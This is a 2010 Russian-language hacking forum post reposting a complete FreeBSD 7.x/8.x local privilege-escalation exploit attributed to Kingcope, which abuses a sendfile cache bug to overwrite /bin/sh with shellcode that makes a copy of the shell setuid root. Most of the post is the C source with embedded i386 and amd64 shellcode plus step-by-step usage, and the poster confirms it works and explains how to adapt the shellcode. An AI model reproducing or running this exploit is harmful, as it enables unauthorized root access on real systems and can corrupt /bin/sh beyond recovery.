FreeBSD mbufs() sendfile Cache local root

Discussion in 'Уязвимости' started by kfor, 23 Aug 2010.

  1. kfor

    kfor Elder - Старейшина

    Joined:
    1 Sep 2005
    Messages:
    278
    Likes Received:
    48
    Reputations:
    29
    Тока на днях увидел публикацию сплойта. http://www.exploit-db.com/exploits/14688/
    Проверил.. работает :)

    P.S.
    Хочу предупредить, что если нет возможности записи или запуска файлов из /tmp , то надо править шелкод. И там где заталкивается в стек /tmp/ менять на своё. Собсно ещё рекомендую проверить ваш шелкод на работоспособность, а то я поплатился за свою спешку :( Если с первого раза сплойт не сработает, то он повредит /bin/sh и если нет рута, то к жизни его уже не вернуть :( Собсно привожу код сплойта.

    Code:
    /*  freebsd x86/x64 sendfile cache local root xpl v2
    
     by Kingcope
     2010
     --
    
     should h4x any freebsd 8.* and 7.* prior to 12Jul2010
    
     tampers /bin/sh to contain a shellcode which does
     '
     chmod a+s /tmp/sh
     chown root /tmp/sh
     execve /tmp/sh2
     '
    
     how to use:
    
     terminal 1:
     $ cp /bin/sh /tmp/sh
     $ cp /bin/sh /tmp/sh2
     $ gcc cache.c -o cache
    
     terminal 2:
     $ nc -l 7030
    
     terminal 1:
     for i386 arch type:
     $ ./cache i386
     for amd64 arch type:
     $ ./cache amd64
    
     now wait
    
     /bin/sh should be execed by the system as root in ~5 mins
    
     then do:
     $ /tmp/sh
     #
    
     cleanup:
     # cp -f /tmp/sh2 /bin/sh
     #
    
     enjoy the root shell!
    */
    // this juarez is now private on #darknet --
    // http://www.youtube.com/watch?v=JtgInqNNpCI
    // http://www.youtube.com/watch?v=IdbRWrY4QBI
    
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/uio.h>
    #include <fcntl.h>
    #include <netinet/in.h>
    #include <sys/select.h>
    #include <sys/stat.h>
    #include <strings.h>
    #include <stdio.h>
    #include <string.h>
    #include <err.h>
    
    main (int argc, char *argv[]) {
            int s, f, k2;
            struct sockaddr_in addr;
            int flags;
            char str32[]=
    "\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3"
    "\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f"
    "\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d"
    "\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";
            char str64[]=
    "\x48\x31\xc0\x99\xb0\x10\x48\xbf\xff\x2f\x74\x6d\x70\x2f\x73\x68"
    "\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"
    "\xb0\x0f\x48\x31\xf6\x66\xbe\xed\x0d\x0f\x05\x48\x31\xc0\x99\xb0"
    "\x3b\x48\xbf\x2f\x74\x6d\x70\x2f\x73\x68\x32\x6a\x00\x57\x48\x89"
    "\xe7\x57\x52\x48\x89\xe6\x0f\x05";
    
            char buf[10000];
    
            char *p;
            struct stat sb;
            int n;
            fd_set wset;
            int64_t size;
            off_t sbytes;
            off_t sent = 0;
            int chunk;
            int arch = 3;
    
            if (argc != 2) {
                    printf("define architecture i386 or amd64\n");
                    return;
            }
    
            if (strcmp(argv[1], "i386") == 0)
                    arch=1;
    
            if (strcmp(argv[1], "amd64") == 0)
                    arch=2;
    
            if (arch == 3) {
                    printf("define architecture i386 or amd64\n");
                    return;
            }
    
            s = socket(AF_INET, SOCK_STREAM, 0);
            bzero(&addr, sizeof(addr));
            addr.sin_family = AF_INET;
            addr.sin_port = htons(7030);
            addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    
            n = connect(s, (struct sockaddr *)&addr, sizeof (addr));
            if (n < 0)
                    warn ("fail to connect");
    
            f = open("/bin/sh", O_RDONLY);
            if (f<0)
                    warn("fail to open file");
            n = fstat(f, &sb);
            if (n<0)
                    warn("fstat failed");
    
            size = sb.st_size;
            chunk = 0;
    
            flags = fcntl(f, F_GETFL);
            flags |= O_NONBLOCK;
            fcntl(f, F_SETFL, flags);
    
            while (size > 0) {
    
                    FD_ZERO(&wset);
                    FD_SET(s, &wset);
                    n = select(f+1, NULL, &wset, NULL, NULL);
                    if (n < 0)
                            continue;
    
                    if (chunk > 0) {
                            sbytes = 0;
                            if (arch == 1)
                             n = sendfile(f, s, 2048*2, chunk, NULL, &sbytes,0);
                            if (arch == 2)
                             n = sendfile(f, s, 1204*6, chunk, NULL, &sbytes,0);
                            if (n < 0)
                                    continue;
                            chunk -= sbytes;
                            size -= sbytes;
                            sent += sbytes;
                            continue;
                    }
    
                    chunk = 2048;
    
                    memset(buf, '\0', sizeof buf);
                    if (arch == 1) {
                            for (k2=0;k2<256;k2++) {
                                    buf[k2] = 0x90;
                            }
                            p = buf;
                            p = p + k2;
                            memcpy(p, str32, sizeof str32);
    
                            n = k2 + sizeof str32;
                            p = buf;
                    }
    
                    if (arch == 2) {
                            for (k2=0;k2<100;k2++) {
                                    buf[k2] = 0x90;
                            }
                            p = buf;
                            p = p + k2;
                            memcpy(p, str64, sizeof str64);
    
                            n = k2 + sizeof str64;
                            p = buf;
                    }
    
                    write(s, p, n);
            }
    }